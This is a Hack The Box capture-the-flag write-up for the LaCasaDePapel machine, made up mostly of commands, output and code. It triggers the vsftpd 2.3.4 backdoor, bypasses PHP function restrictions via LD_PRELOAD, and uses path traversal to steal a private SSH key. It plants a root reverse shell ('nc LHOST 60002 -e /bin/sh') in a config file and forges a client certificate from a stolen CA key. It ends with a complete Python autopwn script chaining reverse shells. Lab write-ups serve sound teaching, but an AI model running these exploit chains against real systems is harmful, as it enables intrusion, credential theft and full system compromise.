LaCasaDePapel write-up

Ανάλυση του LaCasaDePapel

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox linux linux


Port scanning

Let’s scan the full range of TCP and UDP ports using my tool (you can find it here:

$ sudo

Running command: sudo masscan -e tun0 -p1-65535,U:1-65535 --max-rate 500 --interactive

Starting masscan 1.0.4 ( at 2019-07-26 19:11:26 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on                                    
Discovered open port 443/tcp on                                   
Discovered open port 22/tcp on                                    
Discovered open port 22/tcp on                                    
Discovered open port 21/tcp on                                    
Running command: sudo nmap -A -p21,22,80,443
Starting Nmap 7.70 ( ) at 2019-07-26 22:19 EEST
Nmap scan report for lacasadepapel.htb (
Host is up (0.16s latency).

21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.18 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Unix

TRACEROUTE (using port 443/tcp)
1   65.20 ms
2   65.21 ms lacasadepapel.htb (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 65.85 seconds

Exploiting vsftpd 2.3.4

We observe that the machine runs vsftpd on port 21. Version 2.3.4 of vsftpd is very infamous. Read this:

In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. Users logging into a compromised vsftpd-2.3.4 server may issue a “:)” smileyface as the username -or any username ending with a smiley “:)“- and gain a command shell on port 6200. This was not an issue of a security hole in vsftpd, instead, an unknown attacker had uploaded a different version of vsftpd which contained a backdoor.

Let’s search exploits for this:

$ searchsploit vsftpd 2.3.4 -w
| Exploit Title                                          | 
| vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | 

Well, no need for metasploit. We can use telnet or nc to activate the backdoor:

$ nc -v 21
Connection to 21 port [tcp/ftp] succeeded!
220 (vsFTPd 2.3.4)
USER whatever:) 
331 Please specify the password.
PASS whatever

Just as simple as that the backdoor has been activated. Now, let’s try to connect to port 6200:

$ nc 6200

Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

Getting dali shell by escaping PHP restrictions

Well, a nice twist! It seems we have access to something called “Psy Shell”. This is a runtime developer console, interactive debugger and REPL for PHP. This means we can execute PHP code. Neat! But wait… Some very useful PHP functions have been disabled:

echo "Disable Functions: " . ini_get('disable_functions') . "\n";

Disable Functions: exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

But, as you can imagine, there are many ways to bypass this kind of restrictions. I used a tool called Chankro ( PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we have putenv() allowed, we can set the environment variable “LD_PRELOAD”, so we can preload an arbitrary shared object. Our shared object will execute our custom payload (a binary or a bash script) without the PHP restrictions, so we can have a reverse shell, for example. The main idea is this:

file_put_contents('/tmp/', base64_decode('base64-encoded'));
file_put_contents('/tmp/acpid.socket', base64_decode('base64-encoded shell payload'));

In reality, I used python (see my autopwn script) to help us automate the upload of files. Because the content of is too big for an one-liner command, I had to break it in smallers chunks.

$ ./

[*] Attempting to trigger backdoor...
[+] Opening connection to on port 21: Done
[*] Triggered backdoor
[+] Opening connection to on port 6200: Done
[+] Trying to bind to on port 60000: Done
[+] Waiting for connections on Got connection from on port 36005
[*] Switching to interactive mode
$ whoami

Getting professor shell by exploiting port 8000

Nice! Now we have a normal shell as user ‘dali’. Let’s enumerate a little:

$ netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0   *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0 :::22                   :::*                    LISTEN      -
udp        0      0*                           -

There are some interesting ports (8000 and 11211) listening only locally. Let’s explore 8000 for now:

$ curl
<li><a href="?path=SEASON-1">SEASON-1</a></li><li><a href="?path=SEASON-2">SEASON-2</a></li><li><strong>Select a season</strong></li>

$ curl
<li><a href="/file/U0VBU09OLTEvMDEuYXZp">01.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDIuYXZp">02.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDMuYXZp">03.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDQuYXZp">04.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDUuYXZp">05.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDYuYXZp">06.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDcuYXZp">07.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDguYXZp">08.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMDkuYXZp">09.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTAuYXZp">10.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTEuYXZp">11.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTIuYXZp">12.avi</a></li>
<li><a href="/file/U0VBU09OLTEvMTMuYXZp">13.avi</a></li>
<li><strong>Donwload a video</strong></li>

Well, well, what we have here? These filenames in the links seem like base64 encoding. Let’s test one:

$ echo U0VBU09OLTEvMDUuYXZp | base64 -d

Bingo! WHAT IF we encode a path/filename we want to grab to base64 encoding and hit the relevant URL with curl?

$ echo -ne /etc/passwd | base64

$ curl
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>Error: ENOENT: no such file or directory, open &#39;/home/berlin/downloads//etc/passwd&#39;<br> &nbsp; &nbsp;at Object.fs.openSync (fs.js:646:18)<br> &nbsp; &nbsp;at Object.fs.readFileSync (fs.js:551:33)<br> &nbsp; &nbsp;at /home/berlin/server.js:32:15<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/berlin/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/berlin/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/berlin/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at param (/home/berlin/node_modules/express/lib/router/index.js:354:14)<br> &nbsp; &nbsp;at param (/home/berlin/node_modules/express/lib/router/index.js:365:14)</pre>

Hmmm…. We see this “/home/berlin/downloads//etc/passwd” in the output. Perfect! All we need it’s some directory/path traversal:

$ echo -ne ../../../etc/passwd | base64

$ curl

Yes baby! It worked! Let’s grab user.txt:

$ echo -ne ../user.txt | base64

$ curl

We can also grab berlin’s key:

$ echo -ne  ../.ssh/id_rsa | base64

$ curl

Here, we reached the point that confused many many people. Many folks were trying to use berlin’s private key to connect via ssh as berlin@ And they were utterly confused why this didn’t work but instead one could connect as professor@

Let’s try to clear things up. A user can produce as many pairs of private-public keys he wants. All those keys are completely useless until they are deployed in a very specific way. For ssh authentication this means we have to put the public key of a pair inside a very specific file i.e. the ~/.ssh/authorized_keys of ANY user. Then we can login as the specific user using the private key of that pair. Moreover for security reasons, nowadays, both the private key and the ~/.ssh/authorized_keys files are required to have strict permissions (chmod 600).

Think the private key as a real key, the public key as a keyhole/lock and the ~/.ssh/authorized_keys as a door. We have to put the keyhole/lock to a door. And our key can unlock only a door that has the respective keyhole/lock.

Now, you tell me that one could expect berlin’s key to open berlin’s door. Well, you have a point… but… no really. In practice, very often, users do produce key pairs in order to connect to some other accounts.

$ ssh -i berlin_id_rsa professor@
 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|

lacasadepapel [~]$ 

Getting root by exploiting memcached

Let’s list the files in professor’s home directory:

lacasadepapel [~]$ ls -al
total 24
drwxr-sr-x    4 professo professo      4096 Mar  6 20:56 .
drwxr-xr-x    7 root     root          4096 Feb 16 18:06 ..
lrwxrwxrwx    1 root     professo         9 Nov  6  2018 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31 21:36 .ssh
-rw-r--r--    1 root     root            88 Jan 29 01:25 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29 01:24 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29 01:31 node_modules

Those memcached files seem very interesting. Let’s explore more:

lacasadepapel [~]$ cat memcached.ini
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

cat memcached.js
cat: can't open 'memcached.js': Permission denied

It seems like inside memcached.ini there is a setting for a command to be executed. But we don’t have permission to write/edit this file. Well, we don’t really need it! We can delete/move the file and write a new one in its place. You see, to delete a file in Unix, all we need is write permission for the direct parent directory (i.e. professor’s home folder) and execute permission for all parent directories.

lacasadepapel [~]$ ls -ld /home/professor
ls -ld /home/professor
drwxr-sr-x    4 professo professo      4096 Mar  6 20:56 /home/professor

lacasadepapel [~]$ ls -ld /home
drwxr-xr-x    7 root     root          4096 Feb 16 18:06 /home

Let’s get our shell:

lacasadepapel [~]$ mv -f /home/professor/memcached.ini /home/professor/memcached.ini.orig

lacasadepapel [~]$ printf '[program:memcached]\ncommand = sudo -u root /usr/bin/nc LHOST 60002 -e /bin/sh\n' > /home/professor/memcached.ini

Don’t forget to setup the listerener on your side:

$ nc -lvp 60002
Listening on [] (family 0, port 60002)
Connection from lacasadepapel.htb 46245 received!
$ whoami

Here is my autopwn script (you need also

#!/usr/bin/env python2
# Author: Alamot
import os
import time
import fcntl
import base64
from pwn import *

def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15].encode())

LHOST = get_ip_address("tun0")
LPORT1 = 60000
LPORT2 = 60001
RHOST = ""
RPORT = 6200
BUF_SIZE = 500
SSH_BIN_LOCAL_PATH = "/usr/bin/ssh"
REMOTE_PATH = "/tmp/"
REV_SHELL = "/usr/bin/nc " + LHOST + " " + str(LPORT1) + " -e /bin/sh"
#This works too: REV_SHELL = "#!/bin/bash\nrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc " + LHOST + " " + str(LPORT1) + " >/tmp/f"

print("What shell do you want?")
print("[1] dali@lacasadepapel")
print("[2] professor@lacasadepapel")
print("[3] root@lacasadepapel")
print("[4] Exit")
response = None
while response not in ["1", "2", "3", "4"]:
    response = raw_input("Please enter a number 1-4: ").strip()
if response == "4":
try:"Attempting to trigger backdoor ...")
    ftp_conn = remote(RHOST, FTP_PORT)
    # Attempt to login to trigger backdoor
    ftp_conn.sendline("USER letmein:)")
    ftp_conn.sendline("PASS please")"Triggered backdoor")
except Exception:
    log.error("Failed to trigger backdoor.")


    r = remote(RHOST, str(RPORT))
except Exception:
    log.error("Failed to connect to " + str(RHOST) + ":" + str(RPORT))
r.recvuntil("Justin Hileman")"Uploading ...")
r.sendline("$myfile = fopen('" + REMOTE_PATH + "', 'w');")

with open(CHANKRO_HOOK64_FILE, "rb") as f:
    while True:
      data =
      if not data:
      b64data = base64.b64encode(data)
      r.sendline("fwrite($myfile, base64_decode('" + b64data + "'));")

r.sendline("fclose($myfile);")"Uploading shell payload ...")
r.sendline("file_put_contents('" + REMOTE_PATH +
           "acpid.socket', base64_decode('" + base64.b64encode(REV_SHELL) + "'));")"Bypassing PHP restrictions ...")
r.sendline("putenv('CHANKRO="  + REMOTE_PATH + "acpid.socket');")
r.sendline("putenv('LD_PRELOAD="  + REMOTE_PATH + "');")
dali_shell = listen(LPORT1, timeout=TIMEOUT).wait_for_connection()

if response == "1":
    sys.exit()"Getting berlin's private key ...")
dali_shell.sendline("curl -s")
dali_shell.recvuntil("-----BEGIN OPENSSH PRIVATE KEY-----")
id_rsa_data = dali_shell.recvuntil("-----END OPENSSH PRIVATE KEY-----")
id_rsa_key = "-----BEGIN OPENSSH PRIVATE KEY-----" + id_rsa_data + "\n"
with open("berlin_id_rsa", "wt") as f:
os.chmod("berlin_id_rsa", 0o600)"Login via SSH as professor ...")
# We use an ssh process to connect because pwntools ssh tube uses the paramiko module (which is incompatible with our private key format).
professor_shell = process([SSH_BIN_LOCAL_PATH, "-tt", "-i", "berlin_id_rsa", "professor@"+RHOST], stdin=PTY)


if response == "2":
    sys.exit()"Escalating to root via memcached.ini ...")
professor_shell.sendline("mv -f /home/professor/memcached.ini /home/professor/memcached.ini.orig")
professor_shell.sendline("printf '[program:memcached]\ncommand = sudo -u root /usr/bin/nc " + LHOST + " " + str(LPORT2) + " -e /bin/sh\n' > /home/professor/memcached.ini")
root_shell = listen(LPORT2, timeout=TIMEOUT).wait_for_connection()

$ ./ 
What shell do you want?
[1] dali@lacasadepapel
[2] professor@lacasadepapel
[3] root@lacasadepapel
[4] Exit
Please enter a number 1-4: 3
[*] Attempting to trigger backdoor ...
[+] Opening connection to on port 21: Done
[*] Triggered backdoor
[+] Opening connection to on port 6200: Done
[*] Uploading ...
[*] Uploading shell payload ...
[*] Bypassing PHP restrictions ...
[+] Trying to bind to on port 60000: Done
[+] Waiting for connections on Got connection from on port 38127
[*] Getting berlin's private key ...
[*] Login via SSH as professor ...
[+] Starting local process '/usr/bin/ssh': pid 17044
[*] Escalating to root via memcached.ini ...
[+] Trying to bind to on port 60001: Done
[+] Waiting for connections on Got connection from on port 41479
[*] Switching to interactive mode

Alternative long path: Gettings berlin’s key via the web

If we visit we are presented with an one-time password challenge (google authenticator). You don’t have to scan the QR code. Just view the source code:

<form method="POST"><input type="image" src="/qrcode?qrurl=otpauth%3A%2F%2Fhotp%2FToken%3Fsecret%3DO5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB%26algorithm%3DSHA1" readonly="readonly" onclick="return false"><input name="secret" type="hidden" value="O5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB"><input name="token" type="text" placeholder="ONE PASSWORD" autocomplete="off">

The value=“O5IXUTDLJBPEMZDDJ54HUNTVERPHSWTB” is the secret (it changes every time). We can use Python to get the 6-digit password:

$ python
>>> import pyotp
>>> password =
>>> print(password)

Upon successful login we see a message “TO CONTINUE please check your inbox”.

We can enumerate the box a little using the initial php shell. For example, to list the contents of a folder:

$ nc -v 6200
Connection to 6200 port [tcp/*] succeeded!
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

$d = dir("/home"); while (false !== ($entry = $d->read())) {  echo $entry."\n"; }

User oslo has a very interesting folder:

$d = dir("/home/oslo"); while (false !== ($entry = $d->read())) {  echo $entry."\n"; }

Inside /home/oslo/Maildir/.Sent/cur we can find the e-mail message we are looking for:

$d = dir("/home/oslo/Maildir/.Sent/cur"); while (false !== ($entry = $d->read())) {  echo $entry."\n"; }

Let’s read it:

$filepath = "/home/oslo/Maildir/.Sent/cur/1564220989440.M53839P15118V0000000000075823I00000000071958a.lacasadepapel.htb,S=430,2,S"; $myfile = fopen($filepath, "r"); echo fread($myfile,filesize($filepath));

Content-Type: text/plain; format=flowed
From: dali@lacasadepapel.htb
Content-Transfer-Encoding: 7bit
Date: Sat, 27 Jul 2019 09:49:49 +0000
Message-Id: <1564220989476-d1c29831-14ba015e-cb7a790f@lacasadepapel.htb>
MIME-Version: 1.0

Welcome to our community!
Thanks for signing up. To continue, please verify your email address by 
clicking the url below.

If we visit this link (it is unique every time) https://lacasadepapel.htb/dfc318f0-b053-11e9-9ce1-638fd7c4c466, we are presented with a form where we submit a CSR (Certificate Signing Request) and we create a client certificate. We need this client certificate in order to access https://lacasadepapel.htb (this is actually the web site that is listening on There is also a link to download the CA certificate (https://lacasadepapel.htb/get-ca-authority). Download this CA certificate, we are gonna need it in a while. If we use the form we get a network error. Let’s search for a different way to sign our client certificate….

If we enumerate a little more we stumple upon this file:

$filepath = "/home/dali/.config/psysh/tokyo.php"; $myfile = fopen($filepath, "r"); echo fread($myfile,filesize($filepath));

class Tokyo {
	private function sign($caCert,$userCsr) {
		$caKey = file_get_contents('/home/nairobi/ca.key');
		$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
		openssl_x509_export($userCert, $userCertOut);
		return $userCertOut;

Let’s grab this ca.key file:

$filepath = "/home/nairobi/ca.key"; $myfile = fopen($filepath, "r"); echo fread($myfile,filesize($filepath));


Now we can create and sign our own client certificate. First, we generate a private key for the client:

$ openssl genrsa -out client.key 4096
Generating RSA private key, 4096 bit long modulus
e is 65537 (0x10001)

Then we use the client’s private key to generate a certificate request

$ openssl req -new -key client.key -out client.req
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:Someone
Email Address []

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Now, we sign the client certificate using the two files we downloaded (ca.crt and ca.key):

$ openssl x509 -req -in client.req -CA ca.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
Signature ok
subject=/C=AU/ST=Some-State/O=Internet Widgits Pty Ltd/CN=Someone/
Getting CA Private Key

Finally, we combine the client certificate and private key to a pkcs#12 file which we can import to our browser.

$ openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
Enter Export Password: pass
Verifying - Enter Export Password: pass

Let’s visit https://lacasadepapel.htb. We are being asked to present a certificate to authenticate ourselves. We select the certificate we just imported to our browser and we gain access. From here on, the steps are similar to what we have already discussed for

See also...

Δείτε επίσης...